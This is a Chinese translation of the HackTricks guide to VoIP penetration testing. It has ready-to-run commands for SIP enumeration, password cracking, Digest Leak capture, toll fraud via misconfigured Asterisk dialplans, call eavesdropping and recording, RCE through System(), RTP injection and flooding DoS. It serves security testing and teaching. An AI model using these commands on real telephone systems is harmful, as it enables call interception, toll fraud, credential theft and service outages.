hacktricks/network-services-pentesting/pentesting-voip
2024-06-03 13:33:39 +00:00
..
basic-voip-protocols Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:03:00 +00:00
README.md Translated ['network-services-pentesting/pentesting-voip/README.md'] to 2024-06-03 13:33:39 +00:00

VoIP渗透测试

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

VoIP基本信息

要开始学习VoIP的工作原理请查看

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

基本消息

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

响应代码

1xx—临时响应

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—成功响应

200 OK
202 Accepted
204 No Notification

3xx—重定向响应

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—客户端错误响应

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—服务器失败响应

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—全局失败响应

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP枚举

电话号码

红队可以采取的第一步是使用OSINT工具、Google搜索或者网页抓取来搜索可用的电话号码以联系公司。

一旦获得电话号码,您可以使用在线服务来识别运营商:

了解运营商是否提供VoIP服务您可以确定公司是否正在使用VoIP...此外公司可能没有雇用VoIP服务而是使用PSTN卡将其VoIP PBX连接到传统电话网络。

诸如音乐的自动响应通常表明正在使用VoIP。

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT 信息

任何其他有助于识别正在使用的 VoIP 软件的 OSINT 枚举对红队都是有帮助的。

网络枚举

  • nmap 能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,速度很慢,并且在这种服务中可能不太准确。
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap 来自 SIPVicious (sudo apt install sipvicious):将定位指定网络中的 SIP 服务。
  • svmap 易于阻止,因为它使用 User-Agent friendly-scanner,但您可以修改 /usr/share/sipvicious/sipvicious 中的代码并更改它。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan 来自 sippts SIPPTS扫描是一个针对UDP、TCP或TLS上的SIP服务的非常快速的扫描工具。它使用多线程可以扫描大范围的网络。它允许轻松指定端口范围扫描TCP和UDP使用另一种方法默认情况下将使用OPTIONS并指定不同的用户代理等等
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

额外网络枚举

PBX还可能暴露其他网络服务例如

  • 69/UDP (TFTP):固件更新
  • 80 (HTTP) / 443 (HTTPS)通过Web管理设备
  • 389 (LDAP):用于存储用户信息的替代方法
  • 3306 (MySQL)MySQL数据库
  • 5038 (Manager)允许从其他平台使用Asterisk
  • 5222 (XMPP)使用Jabber发送消息
  • 5432 (PostgreSQL)PostgreSQL数据库
  • 以及其他...

方法枚举

可以使用SIPPTS enumeratesippts来查找在PBX中可用的方法

sippts enumerate -i 10.10.0.10

分析服务器响应

非常重要的是分析服务器发送给我们的头部信息,这取决于我们发送的消息类型和头部信息。使用sippts中的SIPPTS send,我们可以发送个性化消息,操纵所有头部,并分析响应。

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

也可以通过服务器使用Websockets来获取数据。使用sippts中的SIPPTS wssend我们可以发送个性化的WS消息。

sippts wssend -i 10.10.0.10 -r 443 -path /ws

分机枚举

在 PBX专用分支交换系统中分机是指分配给组织或企业内部电话线、设备或用户的独特内部标识符。分机使得可以在组织内部有效地路由电话,而无需为每个用户或设备分配单独的外部电话号码。

  • svwar 来自 SIPVicioussudo apt install sipvicioussvwar 是一个免费的 SIP PBX 分机扫描工具。在概念上,它类似于传统的拨号扫描程序,通过猜测一系列分机或给定的分机列表来工作。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten 来自 sippts SIPPTS exten 用于识别 SIP 服务器上的分机。Sipexten 可以检查大型网络和端口范围。
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: 您还可以使用metasploit枚举扩展名/用户名:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX 是一种用于 Inter Asterisk Exchange 协议的用户名暴力破解枚举器。enumIAX 可以以两种不同的模式运行;顺序用户名猜测或字典攻击。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP 攻击

密码暴力破解 - 在线

发现了 PBX 和一些 分机号/用户名 后,红队可以尝试使用常见密码字典对一个分机号进行 REGISTER 方法认证,以进行身份验证。

{% hint style="danger" %} 请注意,用户名 可能与分机号相同,但这种做法可能会因 PBX 系统、其配置和组织偏好而有所不同...

如果用户名与分机号不同,您将需要 找出用户名以进行暴力破解。 {% endhint %}

  • svcrack 来自 SIPVicious (sudo apt install sipvicious)SVCrack 允许您破解 PBX 上特定用户名/分机号的密码。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack 来自 sippts SIPPTS rcrack 是用于 SIP 服务的远程密码破解工具。Rcrack 可以测试不同 IP 和端口范围中多个用户的密码。
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP窃听

如果您在开放的Wifi网络中发现VoIP设备您可以窃取所有信息。此外如果您在更封闭的网络中通过以太网连接或受保护的Wifi连接您可以执行中间人攻击,例如ARP欺骗PBX和网关之间以窃取信息。

在网络信息中,您可以找到用于管理设备的web凭据,用户分机号用户名IP地址,甚至哈希密码和您可以重现的RTP数据包听取对话等等。

要获取这些信息您可以使用诸如Wireshark、tcpdump之类的工具...但是一个专门创建的用于窃听VoIP对话的工具是ucsniff

{% hint style="danger" %} 请注意,如果SIP通信中使用了TLS您将无法清楚地看到SIP通信。
如果使用了SRTPZRTPRTP数据包将不会以明文形式显示。 {% endhint %}

SIP凭据密码暴力破解 - 离线)

查看此示例以更好地了解SIP REGISTER通信以了解凭据是如何发送的

  • sipdumpsipcrack,sipcrack的一部分(apt-get install sipcrack):这些工具可以从pcap中提取SIP协议中的摘要认证,并对其进行暴力破解
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump 来自 sippts SIPPTS dump 可以从一个 pcap 文件中提取摘要认证。
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack 来自 sippts SIPPTS dcrack 是一个用于破解使用 SIPPTS dump 获得的摘要认证的工具。
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark 来自 sippts SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。
sippts tshark -f capture.pcap [-filter auth]

DTMF codes

不仅可以在网络流量中找到 SIP 凭据,还可以找到用于访问语音信箱的 DTMF 代码。
可以将这些代码发送在INFO SIP 消息中,以音频或者RTP 数据包的形式。如果这些代码在 RTP 数据包中,您可以截取对话的这部分内容,并使用工具 multimo 来提取它们:

multimon -a DTMF -t wac pin.wav

免费通话 / Asterisks 连接配置错误

在 Asterisk 中,可以允许来自特定 IP 地址任何 IP 地址的连接:

host=10.10.10.10
host=dynamic

如果指定了IP地址主机不需要定期发送REGISTER请求在REGISTER数据包中发送的生存时间通常为30分钟这意味着在其他情况下电话将需要每30分钟进行注册。但是它需要打开允许来自VoIP服务器的连接以接听电话的端口。

要定义用户,可以定义为:

  • type=user:用户只能作为用户接收呼叫。
  • type=friend:可以作为对等体执行呼叫并作为用户接收呼叫(与分机一起使用)。
  • type=peer可以作为对等体发送和接收呼叫SIP-trunks

还可以通过不安全的变量建立信任:

  • insecure=port允许通过IP验证对等连接。
  • insecure=invite不需要对INVITE消息进行身份验证。
  • insecure=port,invite:两者都需要。

{% hint style="warning" %} 当使用**type=friend时,主机变量的值将不会被使用**,因此,如果管理员错误配置SIP-trunk使用该值,任何人都可以连接到它

例如,此配置将存在漏洞:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

免费通话 / Asterisks上下文错误配置

在Asterisk中上下文是拨号计划中的命名容器或部分,将相关的分机、动作和规则分组在一起。拨号计划是Asterisk系统的核心组件因为它定义了如何处理和路由传入和传出的呼叫。上下文用于组织拨号计划,管理访问控制,并在系统的不同部分之间提供分隔。

每个上下文在配置文件中定义,通常在**extensions.conf**文件中。上下文由方括号表示,其中包含上下文名称。例如:

csharpCopy code[my_context]

在上下文中,您定义分机(拨号号码的模式)并将它们与一系列操作或应用程序关联起来。这些操作决定了呼叫的处理方式。例如:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

这个示例演示了一个名为"my_context"的简单上下文,其中包含一个分机"100"。当有人拨打100时电话将被接听播放欢迎消息然后电话将被终止。

这是另一个上下文,允许拨打任何其他号码

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

如果管理员将默认上下文定义为:

[default]
include => my_context
include => external

{% hint style="warning" %} 任何人都可以使用服务器拨打任何其他号码(服务器管理员将为通话付费)。 {% endhint %}

{% hint style="danger" %} 此外,默认情况下,sip.conf 文件包含 allowguest=true,因此任何未经身份验证的攻击者都可以拨打任何其他号码。 {% endhint %}

  • SIPPTS invite 来自 sippts SIPPTS invite 检查 PBX 服务器是否允许我们在没有身份验证的情况下进行呼叫。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转接到第二个外部号码。

例如,如果您的 Asterisk 服务器具有错误的上下文配置,您可以接受未经授权的 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下进行呼叫。

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

免费通话 / 配置错误的 IVRS

IVRS 代表交互式语音应答系统是一种电话技术允许用户通过语音或按键输入与计算机化系统进行交互。IVRS 用于构建自动呼叫处理系统,提供一系列功能,如提供信息、路由呼叫和捕获用户输入。

VoIP 系统中的 IVRS 通常包括:

  1. 语音提示:预先录制的音频消息,指导用户浏览 IVR 菜单选项和说明。
  2. DTMF(双音多频)信号:通过在电话上按键生成的按键输入,用于浏览 IVR 菜单并提供输入。
  3. 呼叫路由:根据用户输入将呼叫定向到适当的目的地,如特定部门、代理或分机。
  4. 用户输入捕获:从呼叫者收集信息,如帐号号码、案例 ID 或任何其他相关数据。
  5. 与外部系统集成:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息,执行操作或触发事件。

在 Asterisk VoIP 系统中,您可以使用拨号计划(extensions.conf 文件)和各种应用程序(如 Background()Playback()Read() 等)创建 IVR。这些应用程序帮助您播放语音提示捕获用户输入并控制呼叫流程。

易受攻击配置示例

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

前面是一个示例,用户被要求按1拨打一个部门,按2拨打另一个部门,或者输入完整分机号(如果知道的话)。
漏洞在于指定的分机号长度没有经过检查因此用户可以在5秒超时内输入完整号码然后将被呼叫。

分机注入

使用分机号,例如:

exten => _X.,1,Dial(SIP/${EXTEN})

在**${EXTEN}是将要被呼叫的分机**,当输入ext 101时,会发生以下情况:

exten => 101,1,Dial(SIP/101)

然而,如果 ${EXTEN} 允许输入不仅限于数字就像在旧版Asterisk中攻击者可以输入 101&SIP123123123 来呼叫电话号码123123123。这将是结果

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

因此,对分机**101123123123的呼叫将被发送,只有第一个接听呼叫的分机会建立连接...但是,如果攻击者使用一个绕过任何匹配的分机**,并且不存在的分机,他可以注入呼叫只到期望的号码

SIPDigestLeak漏洞

SIP Digest Leak是一种影响大量SIP电话的漏洞包括硬件和软件IP电话以及电话适配器VoIP到模拟电话。该漏洞允许泄露Digest认证响应,该响应是根据密码计算的。然后可以进行离线密码攻击,并且可以根据挑战响应恢复大多数密码。

**从这里开始的漏洞场景**:

  1. 一个IP电话受害者正在侦听任何端口例如5060接受电话
  2. 攻击者向IP电话发送INVITE
  3. 受害者电话开始响铃,有人接听并挂断(因为在另一端没有人接听电话)
  4. 当电话挂断时,受害者电话向攻击者发送一个BYE
  5. 攻击者发出一个407响应要求进行身份验证并发出一个身份验证挑战
  6. 受害者电话在第二个BYE中对身份验证挑战提供响应
  7. 攻击者然后可以在本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击,猜测密码
  • SIPPTS泄漏来自sippts: SIPPTS泄漏利用了影响大量SIP电话的SIP Digest Leak漏洞。输出可以保存为SipCrack格式以便使用SIPPTS dcrack或SipCrack工具进行暴力破解。
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

点击通话

Click2Call允许一个网络用户(例如可能对某个产品感兴趣)输入他的电话号码以便接到电话。然后会拨打一个商业电话,当他接听电话时,用户将被呼叫并与代理人连接

一个常见的Asterisk配置文件是

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • 先前的配置允许任何IP地址连接(如果知道密码)。
  • 发起呼叫,就像之前指定的那样,不需要读取权限,只需要写入中的发起即可。

有了这些权限任何知道密码的IP都可以连接并提取过多的信息比如

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

窃听

在Asterisk中可以使用命令**ChanSpy指定要监听的分机号码**(或全部分机号码)来窃听正在进行的对话。这个命令需要分配给一个分机号码。

例如,exten => 333,1,ChanSpy('all',qb) 表示如果您拨打分机号码333,它将监听所有分机号码,在新对话开始时b)以安静模式q)开始收听,因为我们不希望干扰。您可以通过按下*****或标记分机号码来从一个对话切换到另一个对话。

还可以使用**ExtenSpy**来监视单个分机号码。

除了收听对话,还可以使用诸如以下分机号码之类的分机号码将它们记录在文件中

{% code overflow="wrap" %}

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

通话将被保存在 /tmp

您甚至可以让Asterisk执行一个脚本在通话关闭时泄漏通话内容。

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed漏洞

RTCPBleed是一个影响基于Asterisk的VoIP服务器的重要安全问题于2017年发布。该漏洞允许RTP实时传输协议流量即VoIP通话流量被任何互联网上的人拦截和重定向。这是因为当RTP流量通过NAT网络地址转换防火墙时会绕过身份验证。

RTP代理试图解决影响RTC系统的NAT限制通过在两个或多个方之间代理RTP流。当存在NAT时RTP代理软件通常无法依赖通过信令例如SIP检索的RTP IP和端口信息。因此许多RTP代理已经实现了一种机制其中这样的IP和端口元组会被自动学习。通常通过检查传入的RTP流量并将任何传入的RTP流量的源IP和端口标记为应该响应的IP和端口来完成此操作。这种机制可能被称为“学习模式”不使用任何形式的身份验证。因此,攻击者可以向RTP代理发送RTP流量并接收到本应发送给合法用户的代理RTP流量。我们将这种漏洞称为RTP Bleed因为它允许攻击者接收本应发送给合法用户的RTP媒体流。

RTP代理和RTP堆栈的另一个有趣行为是有时即使不容易受到RTP Bleed的影响,它们也会接受、转发和/或处理来自任何源的RTP数据包。因此攻击者可以发送RTP数据包这可能使他们能够注入他们的媒体而不是合法的媒体。我们将这种攻击称为RTP注入因为它允许将非法的RTP数据包注入到现有的RTP流中。这种漏洞可能存在于RTP代理和端点中。

Asterisk和FreePBX传统上使用**NAT=yes设置**这使得RTP流量可以绕过身份验证可能导致通话中没有音频或单向音频。

有关更多信息,请查看https://www.rtpbleed.com/

  • SIPPTS rtpbleed 来自sippts SIPPTS rtpbleed检测RTP Bleed漏洞发送RTP流。
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed 来自 sippts SIPPTS rtcpbleed 通过发送RTCP流来检测RTP泄漏漏洞。
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood 来自 sippts SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject 来自 sippts SIPPTS rtpbleedinject 利用 RTP Bleed 漏洞注入音频文件WAV 格式)。
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

在Asterisk中如果你设法能够添加分机规则并重新加载它们例如通过入侵一个存在漏洞的Web管理服务器就有可能使用**System**命令实现远程代码执行。

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

有一个名为**Shell**的命令,可以在必要时用来执行系统命令,而不是使用System

{% hint style="warning" %} 如果服务器在**System命令中如在Elastix中禁止使用某些字符,请检查 Web 服务器是否允许以某种方式在系统内部创建文件**如在Elastix或 trixbox 中),然后使用它来创建一个后门脚本,然后使用**System执行脚本**。 {% endhint %}

有趣的本地文件和权限

  • sip.conf -> 包含 SIP 用户的密码。
  • 如果Asterisk 服务器以 root 用户身份运行,则可以妥协 root 用户
  • mysql root 用户可能没有密码
  • 这可以用来创建一个新的 mysql 用户作为后门
  • FreePBX
  • amportal.conf -> 包含 Web 面板管理员FreePBX的密码
  • FreePBX.conf -> 包含用于访问数据库的用户 FreePBXuser 的密码
  • 这可以用来创建一个新的 mysql 用户作为后门
  • Elastix
  • Elastix.conf -> 包含明文密码,如 mysql root 密码IMAPd 密码web 管理员密码
  • 多个文件夹将属于受损的 asterisk 用户(如果不是以 root 用户身份运行)。该用户可以读取先前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他带有后门的二进制文件。

RTP 注入

可以使用工具如**rtpinsertsoundsudo apt install rtpinsertsound)和rtpmixsoundsudo apt install rtpmixsound)在对话中插入.wav**。

或者您可以使用来自 http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ 的脚本来扫描对话rtpscan.pl),向对话发送 .wavrtpsend.pl)并在对话中插入噪音rtpflood.pl)。

DoS

有几种方法可以尝试在 VoIP 服务器上实现 DoS。

  • 来自 sippts 的**SIPPTS flood**SIPPTS flood 向目标发送无限消息。
  • sippts flood -i 10.10.0.10 -m invite -v
  • 来自 sippts 的**SIPPTS ping**SIPPTS ping 发送 SIP ping 以查看服务器响应时间。
  • sippts ping -i 10.10.0.10
  • IAXFlooderDoS Asterisk 使用的 IAX 协议
  • inviteflood:用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪泛的工具。
  • rtpflood:发送多个格式正确的 RTP 数据包。需要知道正在使用的 RTP 端口(先嗅探)。
  • SIPp:允许分析和生成 SIP 流量。因此也可以用于 DoS。
  • SIPsakSIP 瑞士军刀。也可用于执行 SIP 攻击。
  • Fuzzersprotos-sipvoiper

操作系统漏洞

安装 Asterisk 等软件的最简单方法是下载已经安装了它的操作系统发行版,例如:FreePBX、Elastix、Trixbox... 但这些的问题在于一旦它们运行起来,系统管理员可能不会再更新它们,并且漏洞会随着时间被发现。

参考资料

从零开始学习 AWS 黑客技术,使用 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式: